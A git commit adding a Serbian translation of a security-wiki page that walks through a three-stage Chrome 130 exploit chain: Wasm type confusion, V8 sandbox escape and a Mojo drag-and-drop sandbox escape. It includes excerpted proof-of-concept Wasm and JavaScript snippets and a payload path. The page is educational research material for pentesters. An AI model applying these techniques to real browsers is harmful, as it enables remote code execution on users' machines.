Translated ['src/binary-exploitation/chrome-exploiting.md'] to sr

This commit is contained in:
Translator 2025-07-22 02:46:41 +00:00
parent c63067c0f5
commit 9cd577abcc
2 changed files with 171 additions and 0 deletions

View File

@ -761,6 +761,7 @@
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)

View File

@ -0,0 +1,170 @@
# Chrome Exploiting
{{#include ../banners/hacktricks-training.md}}
> Ova stranica pruža visok nivo, ali **praktičan** pregled modernog "full-chain" eksploatacionog toka rada protiv Google Chrome 130, zasnovanog na seriji istraživanja **“101 Chrome Exploitation”** (Deo-0 — Uvod).
> Cilj je pružiti pentesterima i razvojnim inženjerima eksploatacija minimalno pozadinsko znanje potrebno za reprodukciju ili prilagođavanje tehnika za sopstvena istraživanja.
## 1. Chrome Architecture Recap
Razumevanje napadačke površine zahteva poznavanje mesta gde se kod izvršava i koje se sandboksove primenjuju.
```
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:
* **V8 sandbox** (Isolate): dozvole za memoriju su ograničene kako bi se sprečilo proizvoljno čitanje/pisanje iz JITed JS / Wasm.
* **Renderer ↔ Browser split** obezbeđen putem **Mojo/IPC** razmene poruka; renderer *nema* pristup nativnom FS/mreži.
* **OS sandboxes** dodatno sadrže svaki proces (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profili).
*Remote* napadač stoga treba **tri** uzastopne primitive:
1. Korupcija memorije unutar V8 da bi dobio **proizvoljno RW unutar V8 heap-a**.
2. Druga greška koja omogućava napadaču da **pobegne iz V8 sandbox-a u punu memoriju renderer-a**.
3. Konačni izlaz iz sandbox-a (često logika umesto korupcije memorije) za izvršavanje koda **van Chrome OS sandbox-a**.
---
## 2. Stage 1 WebAssembly Type-Confusion (CVE-2025-0291)
Greška u TurboFan-ovoj **Turboshaft** optimizaciji pogrešno klasifikuje **WasmGC reference types** kada se vrednost proizvodi i konzumira unutar *jednog osnovnog blok petlje*.
Efekat:
* Kompajler **preskoči proveru tipa**, tretirajući *referencu* (`externref/anyref`) kao *int64*.
* Kreirani Wasm omogućava preklapanje zaglavlja JS objekta sa podacima pod kontrolom napadača → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
Minimal PoC (izvod):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
```
Optimizacija okidača i prskanje objekata iz JS:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **arbitrary read/write within V8**.
---
## 3. Stage 2 Izlazak iz V8 Sandbox-a (issue 379140430)
Kada se Wasm funkcija kompilira u tier-up, generiše se **JS ↔ Wasm wrapper**. Greška u neslaganju potpisa uzrokuje da wrapper piše izvan kraja pouzdane **`Tuple2`** objekta kada se Wasm funkcija ponovo optimizuje *dok je još na steku*.
Prepisivanje 2 × 64-bitnih polja `Tuple2` objekta omogućava **read/write na bilo kojoj adresi unutar Renderer procesa**, efikasno zaobilazeći V8 sandbox.
Ključni koraci u eksploataciji:
1. Dovesti funkciju u **Tier-Up** stanje naizmeničnim korišćenjem turbofan/baseline koda.
2. Aktivirati tier-up dok se drži referenca na steku (`Function.prototype.apply`).
3. Koristiti Stage-1 AAR/AAW za pronalaženje i korupciju susednog `Tuple2`.
Identifikacija wrapper-a:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
Nakon korupcije posedujemo potpuno funkcionalnu **renderer R/W primitivu**.
---
## 4. Faza 3 Renderer → OS Sandbox Escape (CVE-2024-11114)
**Mojo** IPC interfejs `blink.mojom.DragService.startDragging()` može se pozvati iz Renderera sa *delimično poverljivim* parametrima. Kreiranjem `DragData` strukture koja pokazuje na **arbitrarni put do fajla**, renderer ubeđuje pregledač da izvrši *nativno* prevlačenje i ispuštanje **van renderer sandbox-a**.
Zloupotrebom ovoga možemo programatski “prevući” maliciozni EXE (prethodno postavljen na lokaciju koja se može pisati) na Desktop, gde Windows automatski izvršava određene tipove fajlova nakon ispuštanja.
Primer ( pojednostavljeno):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
Nema dodatne korupcije memorije **logička greška** nam omogućava izvršavanje proizvoljnih datoteka sa privilegijama korisnika.
---
## 5. Tok pune veze
1. **Korisnik posećuje** zlonamernu veb stranicu.
2. **Faza 1**: Wasm modul zloupotrebljava CVE-2025-0291 → V8 heap AAR/AAW.
3. **Faza 2**: Neusklađenost omotača korumpira `Tuple2` → izlazak iz V8 sandboxes.
4. **Faza 3**: `startDragging()` IPC → izlazak iz OS sandboxes & izvršavanje payload-a.
Rezultat: **Daljinsko izvršavanje koda (RCE)** na hostu (Chrome 130, Windows/Linux/macOS).
---
## 6. Postavka laboratorije i debagovanja
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Korisne zastavice prilikom pokretanja *razvojne* verzije Chrome-a:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---
## Zaključci
* **WebAssembly JIT greške** ostaju pouzdan ulaz tipni sistem je još uvek mlad.
* Dobijanje druge greške u korupciji memorije unutar V8 (npr. neslaganje omotača) značajno pojednostavljuje **V8-sandbox bekstvo**.
* Logičke slabosti u privilegovanim Mojo IPC interfejsima često su dovoljne za **konačno bekstvo iz sandboks-a** obratite pažnju na *ne-memorijske* greške.
## Reference
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium sigurnosna arhitektura](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}